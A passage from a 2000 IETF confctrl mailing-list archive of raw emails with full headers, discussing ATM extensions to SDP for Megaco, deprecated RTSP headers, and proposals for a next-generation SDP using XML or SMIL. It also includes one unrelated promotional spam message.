2094237&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fax: + 351 22
2087829</div>
Email: lmt@inescporto.pt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href=3D"http://telecom.inescn.pt/people/lmt/index.htm"=
 EUDORA=3DAUTOURL>http://telecom.inescn.pt/people/lmt/index.htm</a>=20
</html>

--=====================_2372301==_.ALT--


From confctrl-owner  Wed May 24 05:41:18 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02223
	for confctrl-outgoing; Wed, 24 May 2000 05:41:18 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02218
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 05:41:17 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA26066
	for <confctrl@ISI.EDU>; Wed, 24 May 2000 05:41:14 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.8.7) with SMTP id e4OCd1R05514;
	Wed, 24 May 2000 14:39:01 +0200 (MET DST)
Message-Id: <200005241239.e4OCd1R05514@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 24 May 2000 14:38:06 +0200
To: Rajesh Kumar <rkumar@cisco.com>, "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>,
        taylor@nortelnetworks.com
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: ATM Package for Megaco
Cc: ISC_DeviceControl@inventures.com, mjh@aciri.org, sob@harvard.edu,
        vern@aciri.org, mmostafa@cisco.com, confctrl@ISI.EDU
In-Reply-To: <4.1.20000523163543.00cbde50@wanbu-mail.cisco.com>
References: <4FBEA8857476D311A03300204840E1CF678331@whq-msgusr-02.fore. com>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA02219
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rahesh,

I am not sure it is as easy as you put it.

One of the major comments I had at the last meeting is that we now see
several documents being worked on that try to extend SDP in a way that it
would be able to carry ATM addresses and parameters.  What I do not want
to see in the end are two incompatible solutions none which addresses the
the entire spectrum of what is needed.  This is why I asked the authors
of the two drafts to get together and work out a common solution for the
ATM part.

Then checking and possibly fixing the syntax is another (hopefully minor)
issue.  With respect to this: you should explicitly show that your
solution is backward compatible with SDP (in the sense of RFC 2327).  This
means in particular explaining why a non-ATM-SDP-aware device will react
in a well-defined and safe manner when receiving such ATM parameters in SDP.
(Note that this may be trivial and that this may not necessarily have to be
in the final text to be published; but it should serve for double-checking
compabitibility during the future document revisions.

Joerg


>
> atmdsp/MMUSIC colleagues,
>
>   I would like draft-rajeshkumar-mmusic-sdp-atm-01.txt to move to standards
> track in the July meeting of the IETF in Philadephia.
>
> I haven't received much feedback on it, except a comment by Jeorg Ott that
> the Internet Draft violated SDP syntax in some places. If it does, then these
> are probably minor can be fixed. I would really appreciate pinpointed
> comments and I will work to get them resolved ASAP
> and I would like to move this draft to its next logical step, or simply
> withdraw it from circulation. The draft has been out there for 3 months now.
>
> Please send me your comments and criticisms.





From confctrl-owner  Wed May 24 09:17:06 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10511
	for confctrl-outgoing; Wed, 24 May 2000 09:17:06 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10506
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 09:17:04 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA05071
	for <confctrl@ISI.EDU>; Wed, 24 May 2000 09:17:03 -0700 (PDT)
Received: from rkumar-ntl ([144.254.252.22])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id JAA08107;
	Wed, 24 May 2000 09:13:42 -0700 (PDT)
Message-Id: <4.1.20000524085633.00b89a20@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 24 May 2000 09:18:08 -0700
To: Joerg Ott <jo@tzi.uni-bremen.de>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Re: ATM Package for Megaco
Cc: mmostafa@cisco.com, bfoster@cisco.com, Brian.Rosen@marconi.com,
        atmsdp@eng.fore.com, confctrl@ISI.EDU,
        ISC_DeviceControl@inventures.com, dwing@cisco.com
In-Reply-To: <200005241239.e4OCd1R05514@bettina.informatik.uni-bremen.de
 >
References: <4.1.20000523163543.00cbde50@wanbu-mail.cisco.com>
 <4FBEA8857476D311A03300204840E1CF678331@whq-msgusr-02.fore. com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1571499==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_1571499==_.ALT
Content-Type: text/plain; charset="us-ascii"


Jeorg,
Thanks for your quick response. I still need some additional pointers and
direction from you on how to proceed from there. As you are aware, h.248/Megaco
relies heavily on SDP. From that point of view, it is necessary to reach some
closure on AN ATM SDP specification. If you do not think MMUSIC is the proper
forum for it (I think it is), then please let me know.

At 02:38 PM 5/24/00 +0200, you wrote:
>Rahesh,
>
>I am not sure it is as easy as you put it.
>
>One of the major comments I had at the last meeting is that we now see
>several documents being worked on that try to extend SDP in a way that it
>would be able to carry ATM addresses and parameters.  What I do not want
>to see in the end are two incompatible solutions none which addresses the
>the entire spectrum of what is needed.  This is why I asked the authors
>of the two drafts to get together and work out a common solution for the
>ATM part.

Who are the other author(s)? Are they on the atmsdp mailing list? What is the
other draft? I would like to take a look at it and hammer out a common
solution  with them if they are interested.  I am sorry I could not attend the
Adelaide, Australia meeting: did they present their paper there? Any pointers
would be appreciated - once I know who they are I'll contact them and try to
work it out.

>Then checking and possibly fixing the syntax is another (hopefully minor)
>issue.  With respect to this: you should explicitly show that your
>solution is backward compatible with SDP (in the sense of RFC 2327).  This
>means in particular explaining why a non-ATM-SDP-aware device will react
>in a well-defined and safe manner when receiving such ATM parameters in SDP.
>(Note that this may be trivial and that this may not necessarily have to be
>in the final text to be published; but it should serve for double-checking
>compabitibility during the future document revisions.

OK - I'll give this a shot. Who should I send the results to? The atmdsp
mailing list? The confctrl mailing list?

Finally, I haven't seen any input from either of those lists (except your
inputs and the inputs of the ISC_DeviceControl group when I reviewed this
document with them in San Jose, California). Does this mean that the document
is in pretty good shape? Or that it is unimportant? Or that there is a better
one? Or that people are too busy? Whatever the reason, I think there is a need
to move this matter forward. 

Do you think there should be discussion on it in the Philadephia meeting in
July? Please let me know so that I can make my plans accordingly.

Thanks,

Rajesh


>
>Joerg
>
>
>>
>> atmdsp/MMUSIC colleagues,
>>
>>   I would like draft-rajeshkumar-mmusic-sdp-atm-01.txt to move to standards
>> track in the July meeting of the IETF in Philadephia.
>>
>> I haven't received much feedback on it, except a comment by Jeorg Ott that
>> the Internet Draft violated SDP syntax in some places. If it does, then
these
>> are probably minor can be fixed. I would really appreciate pinpointed
>> comments and I will work to get them resolved ASAP
>> and I would like to move this draft to its next logical step, or simply
>> withdraw it from circulation. The draft has been out there for 3 months now.
>>
>> Please send me your comments and criticisms.
>
>
>
>

Thanks--Rajesh 

...........................................................................
Rajesh Kumar
rkumar@cisco.com                    
408 527 0811                
Carrier Packet Voice
Cisco Systems, San Jose, California
--=====================_1571499==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>Jeorg,</div>
<div>Thanks for your quick response. I still need some additional
pointers and direction from you on how to proceed from there. As you are
aware, h.248/Megaco relies heavily on SDP. From that point of view, it is
necessary to reach some closure on AN ATM SDP specification. If you do
not think MMUSIC is the proper forum for it (I think it is), then please
let me know.</div>
<br>
<div>At 02:38 PM 5/24/00 +0200, you wrote:</div>
<div>&gt;Rahesh,</div>
<div>&gt;</div>
<div>&gt;I am not sure it is as easy as you put it.</div>
<div>&gt;</div>
<div>&gt;One of the major comments I had at the last meeting is that we
now see</div>
<div>&gt;several documents being worked on that try to extend SDP in a
way that it</div>
<div>&gt;would be able to carry ATM addresses and parameters.&nbsp; What
I do not want</div>
<div>&gt;to see in the end are two incompatible solutions none which
addresses the</div>
<div>&gt;the entire spectrum of what is needed.&nbsp; This is why I asked
the authors</div>
<div>&gt;of the two drafts to get together and work out a common solution
for the</div>
<div>&gt;ATM part.</div>
<br>
<div>Who are the other author(s)? Are they on the atmsdp mailing list?
What is the other draft? I would like to take a look at it and hammer out
a common solution&nbsp; with them if they are interested.&nbsp; I am
sorry I could not attend the Adelaide, Australia meeting: did they
present their paper there? Any pointers would be appreciated - once I
know who they are I'll contact them and try to work it out.</div>
<br>
<div>&gt;Then checking and possibly fixing the syntax is another
(hopefully minor)</div>
<div>&gt;issue.&nbsp; With respect to this: you should explicitly show
that your</div>
<div>&gt;solution is backward compatible with SDP (in the sense of RFC
2327).&nbsp; This</div>
<div>&gt;means in particular explaining why a non-ATM-SDP-aware device
will react</div>
<div>&gt;in a well-defined and safe manner when receiving such ATM
parameters in SDP.</div>
<div>&gt;(Note that this may be trivial and that this may not necessarily
have to be</div>
<div>&gt;in the final text to be published; but it should serve for
double-checking</div>
<div>&gt;compabitibility during the future document revisions.</div>
<br>
<div>OK - I'll give this a shot. Who should I send the results to? The
atmdsp mailing list? The confctrl mailing list?</div>
<br>
<div>Finally, I haven't seen any input from either of those lists (except
your inputs and the inputs of the ISC_DeviceControl group when I reviewed
this document with them in San Jose, California). Does this mean that the
document is in pretty good shape? Or that it is unimportant? Or that
there is a better one? Or that people are too busy? Whatever the reason,
I think there is a need to move this matter forward. </div>
<br>
<div>Do you think there should be discussion on it in the Philadephia
meeting in July? Please let me know so that I can make my plans
accordingly.</div>
<br>
<div>Thanks,</div>
<br>
<div>Rajesh</div>
<br>
<br>
<div>&gt;</div>
<div>&gt;Joerg</div>
<div>&gt;</div>
<div>&gt;</div>
<div>&gt;&gt;</div>
<div>&gt;&gt; atmdsp/MMUSIC colleagues,</div>
<div>&gt;&gt;</div>
<div>&gt;&gt;&nbsp;&nbsp; I would like
draft-rajeshkumar-mmusic-sdp-atm-01.txt to move to standards</div>
<div>&gt;&gt; track in the July meeting of the IETF in
Philadephia.</div>
<div>&gt;&gt;</div>
<div>&gt;&gt; I haven't received much feedback on it, except a comment by
Jeorg Ott that</div>
<div>&gt;&gt; the Internet Draft violated SDP syntax in some places. If
it does, then these</div>
<div>&gt;&gt; are probably minor can be fixed. I would really appreciate
pinpointed</div>
<div>&gt;&gt; comments and I will work to get them resolved ASAP</div>
<div>&gt;&gt; and I would like to move this draft to its next logical
step, or simply</div>
<div>&gt;&gt; withdraw it from circulation. The draft has been out there
for 3 months now.</div>
<div>&gt;&gt;</div>
<div>&gt;&gt; Please send me your comments and criticisms.</div>
<div>&gt;</div>
<div>&gt;</div>
<div>&gt;</div>
<div>&gt;</div>
<br>

Thanks--Rajesh <br>
<br>
<font color="#000080">...........................................................................<br>
<i>Rajesh Kumar<br>
rkumar@cisco.com<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
Carrier Packet Voice<br>
Cisco Systems, San Jose, California</font></i></html>

--=====================_1571499==_.ALT--


From confctrl-owner  Wed May 24 11:07:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA16653
	for confctrl-outgoing; Wed, 24 May 2000 11:07:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16648
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 11:07:18 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA10815
	for <confctrl@isi.edu>; Wed, 24 May 2000 11:07:16 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA14126
	for <confctrl@isi.edu>; Wed, 24 May 2000 14:07:53 -0400 (EDT)
Message-ID: <392C1A79.D5168E32@cs.columbia.edu>
Date: Wed, 24 May 2000 14:07:53 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RTSP: Public and Content-Base headers
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The RTSP "Public" header has been removed from the latest revision of
HTTP/1.1 (RFC 2616). Thus, we either need to define it within the draft
or remove it from the spec and refer to the equivalent Allow header.
Unless "Public" is in wide-spread use, I would suggest mentioning it as
deprecated.

Same applies to Content-Base.

Thanks to Jennifer Rexford for pointing these out.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed May 24 11:44:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA18493
	for confctrl-outgoing; Wed, 24 May 2000 11:44:04 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA18488
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 11:44:02 -0700 (PDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA12477
	for <confctrl@isi.edu>; Wed, 24 May 2000 11:44:01 -0700 (PDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id LAA23946
	for <confctrl@isi.edu>; Wed, 24 May 2000 11:44:33 -0700 (PDT)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0004709108@mailgate2.apple.com> for <confctrl@ISI.EDU>;
 Wed, 24 May 2000 11:44:29 -0700
Received: from [17.221.42.60] (serenyi.apple.com [17.221.42.60])
	by scv3.apple.com (8.9.3/8.9.3) with SMTP id LAA09650
	for <confctrl@ISI.EDU>; Wed, 24 May 2000 11:44:29 -0700 (PDT)
Message-Id: <200005241844.LAA09650@scv3.apple.com>
Subject: Re: RTSP: Public and Content-Base headers
Date: Wed, 24 May 00 11:44:37 -0700
x-sender: denis.s@mail.apple.com
x-mailer: Claris Emailer 2.0v2, June 6, 1997
From: Denis Serenyi <denis.s@apple.com>
To: <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Same applies to Content-Base.

What would provide the equivalent functionality to Content-Base? It's a 
very useful header...

---
Denis Serenyi
QuickTime Streaming Server Engineering
denis@apple.com


From confctrl-owner  Wed May 24 16:43:02 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA03195
	for confctrl-outgoing; Wed, 24 May 2000 16:43:02 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA03190
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 16:43:00 -0700 (PDT)
Received: from acsys.anu.edu.au (acsys.anu.edu.au [150.203.20.41])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id QAA06309
	for <confctrl@ISI.EDU>; Wed, 24 May 2000 16:42:57 -0700 (PDT)
Received: from accordion (accordion.anu.edu.au [150.203.20.58])
	by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id JAA05494;
	Thu, 25 May 2000 09:43:30 +1000 (EST)
Message-Id: <3.0.32.20000525094336.010ba1c0@acsys.anu.edu.au>
X-Sender: markus@acsys.anu.edu.au
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 25 May 2000 09:43:37 +1000
To: confctrl@ISI.EDU, atmsdp@eng.fore.com
From: Markus Buchhorn <markus@acsys.anu.edu.au>
Subject: SDPng
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi All

A quick question that leapt to mind from a couple of recent threads. I have
seen mention of various extensions to SDP ("we're hitting some limitations
of SDP"), some for application features (codecs, etc.), some for transport
features (ATM leaps to mind, mobile users ?).

Which group/who is looking at the next generation of SDP? (I think Mark
Handley mentioned "some people call it SDPv2 and it's not really a v2"). I
haven't seen any mailing lists under avt or mmusic (where it should be?)
really discuss it. 

I'd be interested to see what is being done. One idea I wanted to canvas
was the use of XML in session/content/transport description, with
appropriate DTD's being created as necessary. Nicely extensible and
pigeon-hole-able and container-able :-). However, it can be a bit heavy and
SAP puts some strong recommendations on bandwidth usage and packet sizes.
OTOH XML is compressible (e.g. wbxml) in special cases.

Anyway - just wanted to lob a couple of cents in (around $US0.0114 at last
glance...), and see what people are thinking.

Cheers,
	Markus

Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62798602
Australian National University, Canberra 0200, Australia |Mobile: 0417 281429  

From confctrl-owner  Thu May 25 03:50:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA09298
	for confctrl-outgoing; Thu, 25 May 2000 03:50:24 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA09293
	for <confctrl@zephyr.isi.edu>; Thu, 25 May 2000 03:50:22 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA11037
	for <confctrl@ISI.EDU>; Thu, 25 May 2000 03:50:18 -0700 (PDT)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.8.7) with ESMTP id e4PAomR04738;
	Thu, 25 May 2000 12:50:48 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id MAA16187;
	Thu, 25 May 2000 12:50:47 +0200 (MET DST)
To: Markus Buchhorn <markus@acsys.anu.edu.au>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com
Subject: Re: SDPng
References: <3.0.32.20000525094336.010ba1c0@acsys.anu.edu.au>
From: Dirk Kutscher <dku@informatik.uni-bremen.de>
Date: 25 May 2000 12:50:47 +0200
In-Reply-To: Markus Buchhorn's message of Thu, 25 May 2000 09:43:37 +1000
Message-ID: <cd4s7mhpiw.fsf@daemon.informatik.uni-bremen.de>
Lines: 86
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Markus" == Markus Buchhorn <markus@acsys.anu.edu.au> writes:

    Markus> Which group/who is looking at the next generation of SDP?
    Markus> (I think Mark Handley mentioned "some people call it SDPv2
    Markus> and it's not really a v2"). I haven't seen any mailing
    Markus> lists under avt or mmusic (where it should be?)  really
    Markus> discuss it.

Markus,

we have started a discussion about this about a year ago and submitted
an ID called "Capability description for group cooperation". The draft
has expired but you can grab an old copy at

ftp://ftp.tzi.uni-bremen.de/doc/internet-drafts/draft-ott-mmusic-cap-00.txt

The draft does not directly propose a concrete new SDP version but
also deals with

	- a model for multimedia conferencing from a
          configuration point of view: We used the notion of
          "components" that are basically applications within a
          multimedia conference and can be mapped to the final media
          streams. The way components can be implemented depends on
          the capabilities of end-systems and preferences of users,
          what we called "potential configurations".

	- the relation between "session description" and capability
          negotiation: In a capability negotiation process
          potential configurations are taken as input for a function
          that finally yields a usable "actual configuration", that is
          an element of a session description.

	- algorithms for capability negotiation and mapping to/from
          SDP: We have presented an algorithm that allows capability
          negotiation without having to know the semantics of
          individual descriptions, which is important for
          extensibility.

The motivation for this was the observation that, while SDP has not
been designed to support capability negotiation, the dynamic
negotiation of session parameters is considered an important
functionality for conferencing/IP-telephony and that there are usage
scenarios where protocols like SIP actually do rely on capability
negotiation involving SDP.

It is obvious that negotiating capabilities and describing session
parametes are closely related and that it is probably useful to have a
common representation for both purposes, so this is one reason why
developing a "new" SDP has been considered. Other reasons may be the
various proposals of extending SDP that have been presented and that
suggest that, while SDP provides some extension mechanisms, it lacks
the required extensiblity to support all this conveniently.

Because of the capability negotiation aspect a few more questions
arise as it would have been the case for finding a new representation
for session descriptions.

For example, it has been noted that capability negotiation has a
considerable overlap to content negotiation, i.e. RFC2703 and
RFC2533. It makes sense to build upon this work but it is also
important to adhere to the "keep it simple" requirement, one of the
reasons being the one you mention below:

    Markus> I'd be interested to see what is being done. One idea I
    Markus> wanted to canvas was the use of XML in
    Markus> session/content/transport description, with appropriate
    Markus> DTD's being created as necessary. Nicely extensible and
    Markus> pigeon-hole-able and container-able :-). However, it can
    Markus> be a bit heavy and SAP puts some strong recommendations on
    Markus> bandwidth usage and packet sizes.  OTOH XML is
    Markus> compressible (e.g. wbxml) in special cases.

I think, before thinking of DTDs, schemata and concrete
representations we have to address the fundamental questions of how
the model for capability negotiation and session decription should
look like etc. It should then be comparatively easy to find one (or
more) appropriate representation syntaxes, maybe even an XML-based
one.

Discussion about all this is of course welcome.

-- 
	Dirk



From confctrl-owner  Fri May 26 02:40:57 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA09881
	for confctrl-outgoing; Fri, 26 May 2000 02:40:57 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA09876
	for <confctrl@zephyr.isi.edu>; Fri, 26 May 2000 02:40:55 -0700 (PDT)
Received: from buffy.tpgi.com.au (buffy.tpgi.com.au [203.12.160.34])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id CAA04581
	for <confctrl@isi.edu>; Fri, 26 May 2000 02:41:22 -0700 (PDT)
From: info@animationallsorts.com
Received: (from smtpd@localhost)
	by buffy.tpgi.com.au (8.9.3/8.9.3) id TAA25035
	for <confctrl@isi.edu>; Fri, 26 May 2000 19:41:09 +1000
Date: Fri, 26 May 2000 19:41:09 +1000
Message-Id: <200005260941.TAA25035@buffy.tpgi.com.au>
Received: from syd3-56k-150.tpgi.com.au(203.29.148.150), claiming to be "home"
 via SMTP by buffy.tpgi.com.au, id smtpdWZZ2Kl; Fri May 26 19:41:01 2000
To: confctrl@ISI.EDU
X-Mailer: 47CCFC40.917D3A6.97b5f81024d9a9f40783936e4af57dce
Subject: Open Mind
Organization: Animation Allsorts
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have discovered your webside on the Internet and find it
really interesting.I do believe that you or your clients may
benefit from the information we are offering. 

There are a lot of people trying to get rich quick, without 
any interest in another human being whatsoever. Well, I 
doubt that they will succeed. There is a law in success like 
there is a law in physics.

You may not believe in gravity or not know about it, but it still works.

The Law of Success says: 
If you help enough people to get what they want, 
You will get what You want.

Therefore, if you think, that you may gain and discover a benefit
for yourself, click on:

http://www.animationallsorts.com/00-Main-Journey.htm

or you can have a look at our Newsletter to find out if you can
benefit from it:

http://www.animationallsorts.com/NEWSLETER/April-00/NLetter-index.htm

Don't hesitate to forward a copy of this newsletter to friends
and associates, but please ask for permission before reproducing
the content in any form -- we would like to know who you are.

Pavel Kyral
Director

Animation Allsorts - Open Mind
105/3 Bruce Street, Crows Nest, NSW, 2065, Australia 
Phone: 612 9955 7990 | Fax: 612 9955 0076 
Copyright © 1990-2000 All Rights Reserved

If you think, that you will not benefit from this corespondence, send

an email to:

remove@animationallsorts.com	Subject:Remove gravity


From confctrl-owner  Fri May 26 03:56:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA12585
	for confctrl-outgoing; Fri, 26 May 2000 03:56:37 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12580
	for <confctrl@zephyr.isi.edu>; Fri, 26 May 2000 03:56:35 -0700 (PDT)
Received: from surya.vyom.com (IDENT:root@[202.56.247.46])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA06657
	for <confctrl@ISI.EDU>; Fri, 26 May 2000 03:57:05 -0700 (PDT)
Received: from localhost (IDENT:root@localhost [127.0.0.1]) by surya.vyom.com (8.9.3/8.6.12) with ESMTP id QAA10535; Fri, 26 May 2000 16:18:26 +0530
Received: from cygsoft.com
	by fetchmail-4.6.4 POP3
	Fri, 26 May 2000 16:18:26 IST
Received: from www19.w3.org (18.29.0.19)
	by mail01b.rapidsite.net (RS ver 1.0.56s) with SMTP id 01914343;
	Thu, 25 May 2000 21:11:24 -0400 (EDT)
Received: (from daemon@localhost)
	by www19.w3.org (8.9.0/8.9.0) id VAA28872;
	Thu, 25 May 2000 21:10:36 -0400 (EDT)
Resent-Date: Thu, 25 May 2000 21:10:36 -0400 (EDT)
Resent-Message-Id: <200005260110.VAA28872@www19.w3.org>
Message-Id: <4.2.0.58.20000525173807.01353590@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 25 May 2000 18:13:53 -0700
To: Markus Buchhorn <markus@acsys.anu.edu.au>, confctrl@ISI.EDU,
        atmsdp@eng.fore.com
From: Rob Lanphier <robla@real.com>
Cc: www-smil@w3.org
In-Reply-To: <3.0.32.20000525094336.010ba1c0@acsys.anu.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: Re: SDPng
Resent-From: www-smil@w3.org
X-Mailing-List: <www-smil@w3.org> archive/latest/522
X-Loop: www-smil@w3.org
Resent-Sender: www-smil-request@w3.org
X-Loop-Detect: 1
X-UIDL: 1add12ffdfa8deef69e00cce7349ad5c.0e
Status: U
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Markus,

(www-smil@w3.org added to the cc line.  See mail below for context)

The W3C SYMM Working Group is currently in the process of defining the next 
version of SMIL (Synchronized Multimedia Integration Language).  It's an 
XML-based language describing how to combine multimedia primitives (audio, 
video, images, text, etc) into a coherent presentation.

One of the proposed set of extensions to SMIL would be to add RTP delivery 
information into the SMIL specification.  The latest draft for this is 
located here:
http://www.w3.org/TR/smil-boston/extended-media-object.html

A SMIL representation of SDP information would clearly be heavier than an 
SDP equivalent, but would also be a lot more expressive.  What's more, 
there's many cases where SMIL and SDP are both used in the same 
presentation today (RealPlayer and Quicktime support both).

I'll have to add the caveat that this particular portion of the spec hasn't 
received a lot of attention due to the fact that the bulk of the working 
group has more interest and/or expertise in matters higher in the 
application stack than getting the bits from point A to point B.  Input 
from this group on fleshing this proposal out would be greatly appreciated 
(best sent to www-smil@w3.org to keep me honest)  :)

Since the RTP portion of the SMIL Boston spec has such clear overlap with 
an existing IETF spec, it may make sense to separate this out and work on 
it as a namespace-separated extension to SMIL Boston, for which the details 
are sorted out in the IETF.  That would allow the group with the most 
interest and expertise in the matter to participate.

Thoughts?

Rob

At 09:43 AM 5/25/00 +1000, Markus Buchhorn wrote:

>Hi All
>
>A quick question that leapt to mind from a couple of recent threads. I have
>seen mention of various extensions to SDP ("we're hitting some limitations
>of SDP"), some for application features (codecs, etc.), some for transport
>features (ATM leaps to mind, mobile users ?).
>
>Which group/who is looking at the next generation of SDP? (I think Mark
>Handley mentioned "some people call it SDPv2 and it's not really a v2"). I
>haven't seen any mailing lists under avt or mmusic (where it should be?)
>really discuss it.
>
>I'd be interested to see what is being done. One idea I wanted to canvas
>was the use of XML in session/content/transport description, with
>appropriate DTD's being created as necessary. Nicely extensible and
>pigeon-hole-able and container-able :-). However, it can be a bit heavy and
>SAP puts some strong recommendations on bandwidth usage and packet sizes.
>OTOH XML is compressible (e.g. wbxml) in special cases.
>
>Anyway - just wanted to lob a couple of cents in (around $US0.0114 at last
>glance...), and see what people are thinking.
>
>Cheers,
>         Markus
>
>Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
>email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62798602
>Australian National University, Canberra 0200, Australia |Mobile: 0417 
>281429



